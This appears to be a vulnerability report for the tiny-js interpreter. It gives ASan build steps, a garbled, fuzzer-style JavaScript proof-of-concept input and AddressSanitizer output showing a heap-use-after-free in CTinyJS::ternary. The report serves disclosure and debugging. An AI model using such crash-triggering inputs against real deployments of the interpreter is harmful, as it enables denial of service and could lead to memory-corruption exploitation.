heap-use-after-free

[bird8693]

Enviroment

operating system: ubuntu18.04
compile:  
Use Google's ASAN(https://github.com/google/sanitizers) for vulnerability detection. Specifically in Makefile, `add -fsanitize=address` to CFLAGS
make
test command: ./run_tests  poc

poc:

function ReadCookie(cookieName) {
        return '';
    var ind1 = theCookie.indexOf(';', ind);
    if (ind1 == -1)
        ind1 = theCookie.length;
    return unescape(theCookie.substring(ind + cookieName.length + 1, ind1));
}
function ReadZagi(zagiName) {
    var zagi = ReadCookie('zagi');
    var ind = zagi.indexOf(zagiName);
    if (ind == -1 || zagiName == '')
        return '';
    var ind1 = zagi.indexOf('&', ind);
    if (ind1 == -1)
        ind1 = zagi.length - 1;
    return zagi.substring(ind + zagiName.length + 1, ind1);
}
var zip = ReadZagi('zip_code');
var city = ReadZagi('city');
var state = ReadZagi('state');
var gender = ReadZagi('gender') != 'M' ? 'm' : ReadZagi('gender') == 'F' ? 'f' : '';
var subscribes = String(parseInt(ReadZagi('subscri'18-20';
    } else if (years_old < 25) {
        return '21-24';
    } else if (years_old < 30) {
        return '25-29';
    } else if (years_old < 35) {
        return '30-34';
    } else if (years_old < 40) {
        return '35-39';
    } else if (years_old < 45) {
        return '40-44';
    } else if (years_old < 50) {
        return '45-49';
    } else if (years_old < 55) {
        return '50-54';
    } else if (years_old < 60) {
        return '55-59';
    } else if (years_old < 65) {
        return '60-64';
    }
    return '65plus';
}
var age_range = AgeToRange(ReadZagi('age'));
function IncToRange(inc) {
    var idx = 0;
    var numstr = '';
    for (idx = 0; idx < inc.length && inc[idx] != '+'; idx++)
        if (!isNaN(parseInt(inc[idx])))
            numstr += inc[idx];
    inc = parseInt(numstr);
    if (isNaN(inc)) {
        return '';
    } else if (inc <= 24999) {
        return 'less25000';
    } else if (inc <= 34999) {
        return '25000-34999';
    } else if (inc <= 49999) {
        return '35000-49999';
    } else if (inc <= 74999) {
        return '50000-74999';
    } else if (inc <= 99999) {
        return '75000-99999';
    } else if (inc <= 149999) {
        return '100000-149999';
    } else if (inc <= 249999) {
        return '150000-249999';
    } else if (inc >= 250000) {
        return '250000plus';
    }
}
var inc_range = IncToRange(ReadZagi('income'));
var _ord = _ord || Math.random() * 1000000000000000000;
var _tile_params = ';ord=' + _ord;
var _demo_params = '';
if (age_range)
    _demo_params += ';age=' + age_range;
if (gender)
    _demo_params += ';gender=' + gender;
if (inc_range)
    _demo_params += ';income=' + inc_range;
if (subscribes)
    _demo_params += ';sub=' + subscribes;
var yld_mgr = {
    place_ad_here: funct

vulnerability description:

It is a use-after-free vulnerability, below is the asan output：

==19950==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000007eb8 at pc 0x000000442521 bp 0x7ffc808a78b0 sp 0x7ffc808a78a0
READ of size 1 at 0x606000007eb8 thread T0
#0 0x442520 in CTinyJS::ternary(bool&) /home/node/tiny-js/TinyJS.cpp:1874
#1 0x442934 in CTinyJS::base(bool&) /home/node/tiny-js/TinyJS.cpp:1887
#2 0x4466e4 in CTinyJS::statement(bool&) /home/node/tiny-js/TinyJS.cpp:1974
#3 0x44b23a in CTinyJS::execute(std::__cxx11::basic_string<char, std::char_traits, std::allocator > const&) /home/node/tiny-js/TinyJS.cpp:1322
#4 0x40718c in run_test(char const*) /home/node/tiny-js/run_tests.cpp:219
#5 0x4068b0 in main /home/node/tiny-js/run_tests.cpp:258
#6 0x7fc1050f782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#7 0x406b68 in _start (/home/node/tiny-js/run_tests+0x406b68)

0x606000007eb8 is located 56 bytes inside of 64-byte region [0x606000007e80,0x606000007ec0)
freed by thread T0 here:
#0 0x7fc105ddbb2a in operator delete(void*) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99b2a)
#1 0x44256e in CTinyJS::ternary(bool&) /home/node/tiny-js/TinyJS.cpp:1864

previously allocated by thread T0 here:
#0 0x7fc105ddb532 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99532)
#1 0x439204 in CTinyJS::factor(bool&) /home/node/tiny-js/TinyJS.cpp:1568

SUMMARY: AddressSanitizer: heap-use-after-free /home/node/tiny-js/TinyJS.cpp:1874 CTinyJS::ternary(bool&)
Shadow bytes around the buggy address:
0x0c0c7fff8f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff8f90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff8fa0: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd
0x0c0c7fff8fb0: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd
0x0c0c7fff8fc0: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
=>0x0c0c7fff8fd0: fd fd fd fd fd fd fd[fd]fa fa fa fa 00 00 00 00
0x0c0c7fff8fe0: 00 00 00 00 fa fa fa fa fd fd fd fd fd fd fd fd
0x0c0c7fff8ff0: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
0x0c0c7fff9000: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd
0x0c0c7fff9010: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd
0x0c0c7fff9020: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==19950==ABORTING